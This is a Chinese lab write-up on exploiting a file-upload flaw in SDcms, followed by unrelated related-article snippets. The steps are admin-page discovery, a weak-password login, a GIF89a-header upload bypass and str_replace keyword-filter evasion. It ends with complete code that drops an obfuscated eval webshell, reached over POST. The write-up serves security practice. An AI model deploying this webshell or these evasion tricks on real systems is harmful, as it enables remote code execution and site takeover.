靶场练习——SDcms文件上传漏洞靶场

news2024/11/25 7:35:10

文章目录

  • 前言
  • 一、寻找网站后台页面
    • 1、点击请登录,查看URL
    • 2、修改URL参数,找到后台登录页面
  • 二、登录后台管理系统
    • 1、不能使用爆破
    • 2、使用弱口令登录
  • 三、寻找文件上传点
  • 四、上传文件操作
    • 1、上传普通的图片文件,查看数据包
    • 2、尝试上传PHP文件
    • 3、上传phpinfo()函数,获取系统版本信息
    • 4、绕过过滤
  • 五、尝试上传webshell
    • 1、PHP版本注意点
    • 2、尝试在上一级目录创建文件
    • 3、写入shell
    • 4、测试shell


前言

今次练习的是SDcms靶场,该靶场是一个文件上传漏洞系列的靶场,靶场如下:


一、寻找网站后台页面

1、点击请登录,查看URL

在这里插入图片描述
如图所示,登录页面参数是?m=login

2、修改URL参数,找到后台登录页面

尝试把上面URL的参数login改成admin,如下图,进入成功。
在这里插入图片描述


二、登录后台管理系统

1、不能使用爆破

这里第一反应使用了账号密码爆破,发现对访问的IP有限制,一旦超过错误访问次数,就会被限制登录,图片如下:
在这里插入图片描述

2、使用弱口令登录

使用账号密码admin/admin,成登录网站后台


三、寻找文件上传点

在这里插入图片描述
找到如图所示的文件上传点


四、上传文件操作

1、上传普通的图片文件,查看数据包

在这里插入图片描述
如图找到文件上传的路径:/upfile/2023/09/

2、尝试上传PHP文件

在Burp中把 .jpg 改成 .php,然后再文件内容中添加GIF89a头部,发现php文件能上传成功。
在这里插入图片描述

尝试访问上传的PHP文件
在这里插入图片描述
访问成功。

3、上传phpinfo()函数,获取系统版本信息

在这里插入图片描述
发现上传失败了,这就说明这里存在过滤,把phpinfo函数给过滤了。

4、绕过过滤

使用str_replace函数来绕过过滤,方法如下:
在这里插入图片描述
绕过成功

打开网页查看
在这里插入图片描述

如下是绕过代码:

<?php
	$a = str_replace("0","","p0h0p0i0n0f0o");
	$a();
?>

五、尝试上传webshell

1、PHP版本注意点

上面可知,靶场使用的PHP版本是7.4.3,这个版本是无法使用assert()函数的,那么就只能使用eval来getshell,但eval使用上面str_replace方法是无法生效的。
这我就想到一个方法,既然eval无法使用str_replace方法绕过,那么我为什么不去使用PHP常见文件的方式,通过运行普通文件从而创建shell文件

2、尝试在上一级目录创建文件

如下图,发现上传失败
在这里插入图片描述
经过测试,发现fopen()函数和file_put_contents()函数同样都被过滤了,没办法,就对这两个函数同样做绕过。方法如下:
在这里插入图片描述
然后使用浏览器打开上传的PHP文件,让文件运行,再访问上级是否生成了shell.php文件
在这里插入图片描述
在这里插入图片描述
访问成功,这就说明shell.php文件成功生成。

3、写入shell

把里面的$data参数换成shell。
在这里插入图片描述

发现这样子还是能检测到eval关键字。不过不要紧,这里只是字符串,我们只需要把$data内容以eval为中心拆成两部分,然后再合并不就可以了吗。

在这里插入图片描述

4、测试shell

使用浏览器打开上传的PHP文件,让其运行
在这里插入图片描述

然后再利用webshell工具来连接测试
在这里插入图片描述
连接成功!

编写后的绕过代码:

GIF89a
<?php
	$filename = "../shell.php";
	$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';

	$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';

	$data = $data1.$data2;

	$a = "f0o0p0e0n";
	$open = str_replace("0","",$a);
	$file = $open($filename,"w");

	$b = "f0i0l0e_p0u0t_contents";
	$write = str_replace("0","",$b);
	$write($filename, $data);

	fclose($file);
?>

注意:这里shell需要使用POST,使用GET蚁剑是无法连接的。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1020488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mysql----锁

文章目录 锁 概述 全局锁全局锁 概述全局锁 操作表级锁表级锁 表锁表级锁 元数据锁表级锁 意向锁行级锁行级锁 行锁行级锁 间隙锁&临键锁 锁 概述 是什么 是计算机协调多个进程或线程并发访问某一资源的机制。 意义 在数据库中&#xff0c;数据是一种供许多用户共享的…

C/C++计算分数的浮点数值 2019年12月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C计算分数的浮点数值 一、题目要求 1、编程实现 2、输入输出 二、解题思路 1、案例分析 三、程序代码 四、程序说明 五、运行结果 六、考点分析 C/C计算分数的浮点数值 2019年12月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 两个整数a和b分别作…

每日一题 337. 打家劫舍 III

难度&#xff1a;中等 整体思路相当于是前两天的方法倒过来&#xff0c;毕竟二叉树最常用的解法就是递归倒推 对于每一颗子树&#xff0c;他必定有一种最大的盗取方法&#xff0c;但是只有它的 root 的盗取情况才会影响到 root 的父节点&#xff0c;即如果收益最大的盗取方法…

【TCP】滑动窗口、流量控制 以及拥塞控制

滑动窗口、流量控制 以及拥塞控制 1. 滑动窗口&#xff08;效率机制&#xff09;2. 流量控制&#xff08;安全机制&#xff09;3. 拥塞控制&#xff08;安全机制&#xff09; 1. 滑动窗口&#xff08;效率机制&#xff09; TCP 使用 确认应答 策略&#xff0c;对每一个发送的数…

机器学习第七课--情感分析系统

分词 分词是最基本的第一步。无论对于英文文本&#xff0c;还是中文文本都离不开分词。英文的分词相对比较简单&#xff0c;因为一般的英文写法里通过空格来隔开不同单词的。但对于中文&#xff0c;我们不得不采用一些算法去做分词。 常用的分词工具 # encodingutf-8 import …

Linux C 多线程

为什么会有线程? ————————>>>> 进程实现多任务的缺点&#xff1a; 进程间切换的计算机资源开销很大&#xff0c;切换效率非常低进程间数据共享的开销也很大 线程和进程的关系 线程是进程的一个执行单元&#xff0c;是进程内的调度实体。比进程…

应用:使用#todo标签,清理未完成笔记 | Obsidian实践

各位【见睿思齐】的朋友&#xff0c;好久不见。断更了这么久&#xff0c;非常抱歉。起初是因为家里出了些事情&#xff0c;不得不断更了一段时间&#xff1b;后来是因为断更太久&#xff0c;找不回写作的感觉&#xff0c;于是又断更了更久的时间……总之是太不应该。最近读了一…

ESLint+Prettier+VSCode编程规范

编程规范 ESLintPrettierESLint和Prettier配合解决代码格式化问题1. 在VSCode搜索Prettier插件安装2. 创建prettier配置文件3. 在VSCode中设置3.1 找到左下角设置图标&#xff0c;点击设置3.2 但是对VSCode 而言&#xff0c;默认一个 tab 等于 4 个空格&#xff0c;而 ESLint 希…

【Hierarchical Coverage Path Planning in Complex 3D Environments】

Hierarchical Coverage Path Planning in Complex 3D Environments 复杂三维环境下的分层覆盖路径规划 视点采样全局TSP 算法分两层&#xff0c;一层高级一层低级&#xff1a; 高层算法将环境分离多个子空间&#xff0c;如果给定体积中有大量的结构&#xff0c;则空间会进一步细…

基于PyTorch搭建FasterRCNN实现目标检测

基于PyTorch搭建FasterRCNN实现目标检测 1. 图像分类 vs. 目标检测 图像分类是一个我们为输入图像分配类标签的问题。例如&#xff0c;给定猫的输入图像&#xff0c;图像分类算法的输出是标签“猫”。 在目标检测中&#xff0c;我们不仅对输入图像中存在的对象感兴趣。我们还…

软件工程之总体设计

总体设计是软件工程中的一个重要阶段&#xff0c;它关注整个系统的结构和组织&#xff0c;旨在将系统需求转化为可执行的软件解决方案。总体设计决定了系统的架构、模块划分、功能组织以及数据流和控制流等关键方面。 可行性研究 具体方面&#xff1a;经济可行性、技术可行性…

如何正确安装滚珠螺杆螺母?

在安装滚珠螺母时&#xff0c;相信很多人都遇到过装反这个问题&#xff0c;滚珠螺杆螺母是通过高精度的加工和配合实现传递转矩和运动的&#xff0c;如果将滚珠螺杆螺母反过来装&#xff0c;会导致导向槽和调整垫片位置不正确&#xff0c;使得整个螺杆系统的传动精度降低&#…

sketch for Mac快捷键大全

你可以在sketch中使用键盘快捷键来加快你的设计过程。要使用键盘快捷键&#xff0c;请同时按下下列列表的所有键。有些命令只能根据你在做什么或者你选择了什么才启用&#xff0c;所有把命令分成了下列不同的部分。 sketch下载地址&#xff1a;sketch 破解-Sketch for mac(专业…

Linux 信号集 及其 部分函数

这几个函数都是对自己自定义的信号集操作 int sigemptyset(sigset_t *set) 功能&#xff1a;清空信号集中的数据&#xff0c;将所有的标志位置为0 参数&#xff1a;set需要操作的信号集 返回值&#xff1a;成功0失败-1 int sigfillset(sigset_t *set) 功能&#xff1a;清空…

各个浏览器离线安装包获取方式

前言 我们一般去浏览器官网下载所谓的官方版浏览器&#xff0c;但是如今呢&#xff0c;下载的都是在线安装包&#xff0c;大小大约1~2MB&#xff0c;安装时电脑必须联网&#xff0c;每次都要从网络上下载。就像下面这样的&#xff1a; 在线安装包的运行必须有网络环境&#…

批量使用cdo 修改分辨率的方法

文件夹里有很多这种grib文件 怎么有2.3T啊&#xff0c;好大&#xff0c;一个一个改太浪费时间了 现在我想用cdo 批量他们的分辨率都降低一些&#xff0c;怎么做呢&#xff1f; find . -name *low.grib |xargs -I{} cdo remapbil,r144x72 {} {}_low.nc 思路:使用 find 命令找到…

小型网络实验组网

路漫漫其修远兮&#xff0c;吾将上下而求索 时隔多日&#xff0c;没有更新&#xff0c;今日一写&#xff0c;倍感教育的乐趣。如果让我每天发无意义的文章&#xff0c;我宁可不发。 实验拓扑 实验要求 &#xff08;1&#xff09;内网主机采用DHCP分配IP地址 &#xff08;2&…

6-3 pytorch使用GPU训练模型

深度学习的训练过程常常非常耗时&#xff0c;一个模型训练几个小时是家常便饭&#xff0c;训练几天也是常有的事情&#xff0c;有时候甚至要训练几十天。 训练过程的耗时主要来自于两个部分&#xff0c;一部分来自数据准备&#xff0c;另一部分来自参数迭代。 当数据准备过程还…

分享一下微信公众号怎么添加砸金蛋链接

一、砸金蛋活动的优势 砸金蛋活动是一种非常有趣且吸引人的互动方式&#xff0c;在微信公众号中添加砸金蛋链接有以下优势&#xff1a; 提高用户参与度&#xff1a;砸金蛋活动能够激发用户的参与度和好奇心&#xff0c;让用户感到有乐趣和刺激。通过砸金蛋的方式&#xff0c;…

现在全国融资融券两融利率最低是多少?哪家证券公司券商费率低?

融资融券是指投资者通过向券商借入资金&#xff08;融资&#xff09;或借入证券&#xff08;融券&#xff09;&#xff0c;以达到获得更高收益、降低交易风险、提高资金利用效率的目的。通过融资&#xff0c;投资者可以用借入的资金买入更多的证券&#xff1b;通过融券&#xf…